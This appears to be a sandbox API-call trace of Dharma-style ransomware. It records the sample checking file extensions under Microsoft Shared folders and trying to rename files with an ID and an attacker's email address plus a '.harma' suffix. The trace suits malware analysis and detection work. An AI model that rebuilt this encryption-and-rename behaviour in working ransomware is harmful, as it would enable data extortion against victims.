lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0133.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0133.786] lstrlenW (lpString=".zip") returned 4 [0133.786] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0133.786] lstrlenW (lpString=".rar") returned 4 [0133.786] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0133.786] lstrlenW (lpString=".bz2") returned 4 [0133.786] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0133.786] lstrlenW (lpString=".7z") returned 3 [0133.786] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0133.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0133.786] lstrlenW (lpString=".dbf") returned 4 [0133.786] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0133.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0133.786] lstrlenW (lpString=".1cd") returned 4 [0133.786] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0133.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0133.786] lstrlenW (lpString=".jpg") returned 4 [0133.786] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0133.786] lstrcmpiW (lpString1=".dat", lpString2=".harma") returned -1 [0133.786] lstrlenW (lpString="hwrusash.dat") returned 12 [0133.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0133.932] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=4120784) returned 1 [0133.932] CloseHandle (hObject=0x324) returned 1 [0133.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0133.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.932] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0133.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0133.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0133.932] lstrlenW (lpString=".doc") returned 4 [0133.932] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0133.932] lstrlenW (lpString=".docx") returned 5 [0133.932] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0133.932] lstrlenW (lpString=".pdf") returned 4 [0133.932] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0133.932] lstrlenW (lpString=".xls") returned 4 [0133.932] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0133.932] lstrlenW (lpString=".xlsx") returned 5 [0133.933] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0133.933] lstrlenW (lpString=".ppt") returned 4 [0133.933] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0133.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0133.933] lstrlenW (lpString=".zip") returned 4 [0133.933] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0133.933] lstrlenW (lpString=".rar") returned 4 [0133.933] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0133.933] lstrlenW (lpString=".bz2") returned 4 [0133.933] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0133.933] lstrlenW (lpString=".7z") returned 3 [0133.933] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0133.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0133.933] lstrlenW (lpString=".dbf") returned 4 [0133.933] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0133.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0133.933] lstrlenW (lpString=".1cd") returned 4 [0133.933] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0133.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0133.933] lstrlenW (lpString=".jpg") returned 4 [0133.933] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0133.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0133.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0133.933] lstrlenW (lpString=".doc") returned 4 [0133.933] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0133.933] lstrlenW (lpString=".docx") returned 5 [0133.933] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0133.933] lstrlenW (lpString=".pdf") returned 4 [0133.933] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0133.933] lstrlenW (lpString=".xls") returned 4 [0133.933] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0133.933] lstrlenW (lpString=".xlsx") returned 5 [0133.933] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0133.934] lstrlenW (lpString=".ppt") returned 4 [0133.934] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0133.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0133.934] lstrlenW (lpString=".zip") returned 4 [0133.934] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0133.934] lstrlenW (lpString=".rar") returned 4 [0133.934] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0133.934] lstrlenW (lpString=".bz2") returned 4 [0133.934] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0133.934] lstrlenW (lpString=".7z") returned 3 [0133.934] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0133.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0133.934] lstrlenW (lpString=".dbf") returned 4 [0133.934] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0133.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0133.934] lstrlenW (lpString=".1cd") returned 4 [0133.934] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0133.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0133.934] lstrlenW (lpString=".jpg") returned 4 [0133.934] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0133.934] lstrcmpiW (lpString1=".jpg", lpString2=".harma") returned 1 [0133.934] lstrlenW (lpString="Notebook.jpg") returned 12 [0133.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0134.067] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2950) returned 1 [0134.067] CloseHandle (hObject=0x21c) returned 1 [0134.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg")) returned 0x20 [0134.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0134.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0134.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0134.067] lstrlenW (lpString=".doc") returned 4 [0134.067] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0134.067] lstrlenW (lpString=".docx") returned 5 [0134.067] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0134.067] lstrlenW (lpString=".pdf") returned 4 [0134.067] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0134.067] lstrlenW (lpString=".xls") returned 4 [0134.067] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0134.067] lstrlenW (lpString=".xlsx") returned 5 [0134.067] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0134.067] lstrlenW (lpString=".ppt") returned 4 [0134.067] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0134.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0134.068] lstrlenW (lpString=".zip") returned 4 [0134.068] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0134.068] lstrlenW (lpString=".rar") returned 4 [0134.068] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0134.068] lstrlenW (lpString=".bz2") returned 4 [0134.068] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0134.068] lstrlenW (lpString=".7z") returned 3 [0134.068] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0134.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0134.068] lstrlenW (lpString=".dbf") returned 4 [0134.068] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0134.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0134.068] lstrlenW (lpString=".1cd") returned 4 [0134.068] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0134.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0134.068] lstrlenW (lpString=".jpg") returned 4 [0134.068] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0134.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0134.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0134.068] lstrlenW (lpString=".doc") returned 4 [0134.068] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0134.068] lstrlenW (lpString=".docx") returned 5 [0134.068] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0134.068] lstrlenW (lpString=".pdf") returned 4 [0134.068] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0134.068] lstrlenW (lpString=".xls") returned 4 [0134.068] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0134.068] lstrlenW (lpString=".xlsx") returned 5 [0134.068] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0134.068] lstrlenW (lpString=".ppt") returned 4 [0134.068] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0134.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0134.069] lstrlenW (lpString=".zip") returned 4 [0134.069] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0134.069] lstrlenW (lpString=".rar") returned 4 [0134.069] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0134.069] lstrlenW (lpString=".bz2") returned 4 [0134.069] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0134.069] lstrlenW (lpString=".7z") returned 3 [0134.069] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0134.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0134.069] lstrlenW (lpString=".dbf") returned 4 [0134.069] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0134.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0134.069] lstrlenW (lpString=".1cd") returned 4 [0134.069] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0134.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0134.069] lstrlenW (lpString=".jpg") returned 4 [0134.069] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0134.069] lstrcmpiW (lpString1=".htm", lpString2=".harma") returned 1 [0134.069] lstrlenW (lpString="Peacock.htm") returned 11 [0134.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0134.070] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=232) returned 1 [0134.070] CloseHandle (hObject=0x21c) returned 1 [0134.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0134.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0134.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0134.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0134.071] lstrlenW (lpString=".doc") returned 4 [0134.071] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0134.071] lstrlenW (lpString=".docx") returned 5 [0134.071] lstrcmpiW (lpString1=".docx", lpString2="k.htm") returned -1 [0134.071] lstrlenW (lpString=".pdf") returned 4 [0134.071] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0134.071] lstrlenW (lpString=".xls") returned 4 [0134.071] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0134.071] lstrlenW (lpString=".xlsx") returned 5 [0134.071] lstrcmpiW (lpString1=".xlsx", lpString2="k.htm") returned -1 [0134.071] lstrlenW (lpString=".ppt") returned 4 [0134.071] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0134.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0134.071] lstrlenW (lpString=".zip") returned 4 [0134.071] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0134.071] lstrlenW (lpString=".rar") returned 4 [0134.071] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0134.071] lstrlenW (lpString=".bz2") returned 4 [0134.071] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0134.071] lstrlenW (lpString=".7z") returned 3 [0134.071] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0134.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0134.071] lstrlenW (lpString=".dbf") returned 4 [0134.071] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0134.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0134.071] lstrlenW (lpString=".1cd") returned 4 [0134.071] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0134.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0134.072] lstrlenW (lpString=".jpg") returned 4 [0134.072] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0134.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0134.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0134.072] lstrlenW (lpString=".doc") returned 4 [0134.072] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0134.072] lstrlenW (lpString=".docx") returned 5 [0134.072] lstrcmpiW (lpString1=".docx", lpString2="k.htm") returned -1 [0134.072] lstrlenW (lpString=".pdf") returned 4 [0134.072] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0134.072] lstrlenW (lpString=".xls") returned 4 [0134.072] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0134.072] lstrlenW (lpString=".xlsx") returned 5 [0134.072] lstrcmpiW (lpString1=".xlsx", lpString2="k.htm") returned -1 [0134.072] lstrlenW (lpString=".ppt") returned 4 [0134.072] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0134.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0134.072] lstrlenW (lpString=".zip") returned 4 [0134.072] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0134.072] lstrlenW (lpString=".rar") returned 4 [0134.072] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0134.072] lstrlenW (lpString=".bz2") returned 4 [0134.072] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0134.072] lstrlenW (lpString=".7z") returned 3 [0134.072] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0134.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0134.072] lstrlenW (lpString=".dbf") returned 4 [0134.072] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0134.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0134.072] lstrlenW (lpString=".1cd") returned 4 [0134.072] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0134.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0134.073] lstrlenW (lpString=".jpg") returned 4 [0134.073] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0134.073] lstrcmpiW (lpString1=".jpg", lpString2=".harma") returned 1 [0134.073] lstrlenW (lpString="Peacock.jpg") returned 11 [0134.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0134.074] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=5115) returned 1 [0134.074] CloseHandle (hObject=0x21c) returned 1 [0134.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0134.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0134.074] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0134.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0134.074] lstrlenW (lpString=".doc") returned 4 [0134.074] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0134.074] lstrlenW (lpString=".docx") returned 5 [0134.074] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0134.074] lstrlenW (lpString=".pdf") returned 4 [0134.074] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0134.074] lstrlenW (lpString=".xls") returned 4 [0134.074] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0134.074] lstrlenW (lpString=".xlsx") returned 5 [0134.074] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0134.074] lstrlenW (lpString=".ppt") returned 4 [0134.074] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0134.074] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0134.074] lstrlenW (lpString=".zip") returned 4 [0134.074] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0134.075] lstrlenW (lpString=".rar") returned 4 [0134.075] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0134.075] lstrlenW (lpString=".bz2") returned 4 [0134.075] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0134.075] lstrlenW (lpString=".7z") returned 3 [0134.075] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0134.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0134.075] lstrlenW (lpString=".dbf") returned 4 [0134.075] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0134.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0134.075] lstrlenW (lpString=".1cd") returned 4 [0134.075] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0134.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0134.075] lstrlenW (lpString=".jpg") returned 4 [0134.075] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0134.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0134.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0134.075] lstrlenW (lpString=".doc") returned 4 [0134.075] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0134.075] lstrlenW (lpString=".docx") returned 5 [0134.075] lstrcmpiW (lpString1=".docx", lpString2="k.jpg") returned -1 [0134.075] lstrlenW (lpString=".pdf") returned 4 [0134.075] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0134.075] lstrlenW (lpString=".xls") returned 4 [0134.075] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0134.075] lstrlenW (lpString=".xlsx") returned 5 [0134.075] lstrcmpiW (lpString1=".xlsx", lpString2="k.jpg") returned -1 [0134.076] lstrlenW (lpString=".ppt") returned 4 [0134.076] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0134.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0134.076] lstrlenW (lpString=".zip") returned 4 [0134.076] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0134.076] lstrlenW (lpString=".rar") returned 4 [0134.076] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0134.076] lstrlenW (lpString=".bz2") returned 4 [0134.076] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0134.076] lstrlenW (lpString=".7z") returned 3 [0134.076] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0134.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0134.076] lstrlenW (lpString=".dbf") returned 4 [0134.076] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0134.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0134.076] lstrlenW (lpString=".1cd") returned 4 [0134.076] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0134.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0134.076] lstrlenW (lpString=".jpg") returned 4 [0134.076] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0134.076] lstrcmpiW (lpString1=".jpg", lpString2=".harma") returned 1 [0134.076] lstrlenW (lpString="Pine_Lumber.jpg") returned 15 [0134.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0134.077] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3981) returned 1 [0134.077] CloseHandle (hObject=0x21c) returned 1 [0134.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg")) returned 0x20 [0134.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0134.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0134.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0134.077] lstrlenW (lpString=".doc") returned 4 [0134.077] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0134.077] lstrlenW (lpString=".docx") returned 5 